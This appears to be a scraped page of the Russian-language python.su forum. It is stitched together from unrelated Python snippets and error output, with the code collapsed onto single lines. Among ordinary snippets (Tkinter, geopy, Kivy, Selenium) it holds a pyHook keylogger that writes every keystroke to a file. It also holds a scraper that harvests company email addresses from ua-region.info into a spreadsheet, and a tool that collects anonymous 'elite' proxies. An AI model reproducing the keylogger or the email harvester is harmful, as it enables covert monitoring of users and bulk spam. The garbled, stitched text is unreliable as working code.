Форум сайта python.su
python3 configure.py --destdir ~/dev/envs/pyqt5/lib/python3.5/site-packages/ --qmake ~/Qt/5.10.1/gcc_64/bin/qmake
Error: /usr/include/python3.5m/sip.h has version 4.16.5 but /usr/bin/sip has version 4.19.4
import re import requests from fake_useragent import UserAgent ua = UserAgent() headers = {'User-Agent': ua.random} class GatherProxy(object): url = 'http://gatherproxy.com/proxylist' pre1 = re.compile(r'gp\.insertPrx\({.*?}\)') pre2 = re.compile(r'(?<=":").+?(?=",")') def get_elite_proxy(self, pages=4, uptime=25): proxies = set() for i in range(1, pages + 1): params = {"Type": "elite", "PageIdx": str(i), "Uptime": str(uptime)} r = requests.post(self.url + "/anonymity/?t=Elite", params=params, headers=headers) r = r.text for td in self.pre1.findall(r): try: tmp = self.pre2.findall(str(td)) proxies.add(tmp[1] + ":" + str(int(tmp[3], 16))) except: pass return proxies P = GatherProxy() prox = P.get_elite_proxy()
def OnKeyboardEvent(event): data = str(event.Key) f = open('Logfile.txt', 'a') f.write(data) f.close()
hook = pyHook.HookManager() hook.KeyDown = OnKeyboardEvent hook.HookKeyboard() pythoncom.PumpMessages()
from tkinter import * from PIL import Image main = Tk() canvas = Canvas() canvas.pack(expand = True) coord_l = [-50, -50, -50, 50, 50, 50, 75, 0, 50, -50] coord_l = [i+75 for i in coord_l] image = Image.open("test.jpg") canvas.create_polygon(coord_l, fill = "aquamarine") main.mainloop()
train.drop(['Name'], axis=1, inplace=True)
# -*- coding: utf-8 -*- import requests from lxml import html import pandas as pd from math import ceil import openpyxl all_pages = ['https://www.ua-region.info/kved/Ind.15'] page = requests.get(all_pages[0]) tree = html.fromstring(page.content) items='2139' #items = tree.xpath('//div[@class ="b-items-total"]')[0].text.split()[-1] last_page = int(ceil(float(items) / 10)) count = 1 for i in range(1, last_page): count += 1 all_pages.append('{0}&start_page={1}'.format(all_pages[0], count)) print('{0}&start_page={1}'.format(all_pages[0], count)) print('{} pages found'.format(len(all_pages))) all_links = [] def get_links(url): parsed_links = [] page = requests.get(url) tree = html.fromstring(page.content) links = tree.xpath('//h2[@itemprop="name"]/a') for lnk in links: parsed_links.append('https://www.ua-region.info{}'.format(lnk.get('href'))) print('https://www.ua-region.info{}'.format(lnk.get('href'))) return parsed_links all_links = [] for url in all_pages: all_links += get_links(url) mails = [] def get_mail(): try: mail = [i.text.encode('utf-8') for i in tree.xpath('//td[@itemprop="email"]/a')] mails.append(', '.join(mail)) except Exception as e: print(e) print('mail not found') mails.append('') cntr = 0 for url in all_pages: try: root = requests.get(url) tree = html.fromstring(root.content) get_mail() cntr += 1 print('{} pages have been parsed'.format(cntr)) except Exception as e: print(e) df = pd.DataFrame({ "e-mail": mails, }, columns=["e-mail"]) df.drop_duplicates(subset=["e-mail"], inplace=True) writer = pd.ExcelWriter('Agro.xlsx', engine='openpyxl') df.to_excel(writer, index=False) writer.save()
from geopy import distance from geopy.geocoders import Nominatim geolocator = Nominatim() npoint = "77.7164, 104.3069" spoint = "1.2649, 103.5177" wpoint = "39.4787, 26.0708" zpoint = "66.0787, -169.645" print ("Северная точка Азии: " + str(geolocator.reverse(npoint)) + " - До центра:" + str(distance.distance(npoint, spoint)/2)) print ("Южная точка Азии: " + str(geolocator.reverse(spoint)) + " - До центра:" + str(distance.distance(npoint, spoint)/2)) print ("Западная точка Азии: " + str(geolocator.reverse(wpoint)) + " - До центра:" + str(distance.distance(wpoint, zpoint)/2)) print ("Восточная точка Азии: " + str(geolocator.reverse(zpoint)) + " - До центра:" + str(distance.distance(wpoint, zpoint)/2))
from kivy.app import App from kivy.lang import Builder from kivy.uix.boxlayout import BoxLayout import time Builder.load_string(''' <CameraClick>: orientation: 'vertical' Camera: id: camera resolution: (640, 480) play: False ToggleButton: text: 'Play' on_press: camera.play = not camera.play size_hint_y: None height: '48dp' Button: text: 'Capture' size_hint_y: None height: '48dp' on_press: root.capture() ''') class CameraClick(BoxLayout): def capture(self): ''' Function to capture the images and give them the names according to their captured time and date. ''' camera = self.ids['camera'] timestr = time.strftime("%Y%m%d_%H%M%S") camera.export_to_png("IMG_{}.png".format(timestr)) print("Captured") class TestCamera(App): def build(self): return CameraClick() TestCamera().run()
from selenium import webdriver browser = webdriver.Firefox() print(type(browser)) browser.get('http://inventwithpython.com')
Traceback (most recent call last): File "D:\Downloads\Python\Learn\Automation of routine tasks\Ch 11\Selenium module.py", line 2, in <module> browser = webdriver.Firefox() File "D:\Downloads\Python\lib\site-packages\selenium\webdriver\firefox\webdriver.py", line 162, in __init__ keep_alive=True) File "D:\Downloads\Python\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 154, in __init__ self.start_session(desired_capabilities, browser_profile) File "D:\Downloads\Python\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 243, in start_session response = self.execute(Command.NEW_SESSION, parameters) File "D:\Downloads\Python\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 310, in execute response = self.command_executor.execute(driver_command, params) File "D:\Downloads\Python\lib\site-packages\selenium\webdriver\remote\remote_connection.py", line 466, in execute return self._request(command_info[0], url, body=data) File "D:\Downloads\Python\lib\site-packages\selenium\webdriver\remote\remote_connection.py", line 490, in _request resp = self._conn.getresponse() File "D:\Downloads\Python\lib\http\client.py", line 1172, in getresponse response.begin() File "D:\Downloads\Python\lib\http\client.py", line 351, in begin version, status, reason = self._read_status() File "D:\Downloads\Python\lib\http\client.py", line 313, in _read_status line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1") File "D:\Downloads\Python\lib\socket.py", line 371, in readinto return self._sock.recv_into(b) ConnectionResetError: [WinError 10054] Удаленный хост принудительно разорвал существующее подключение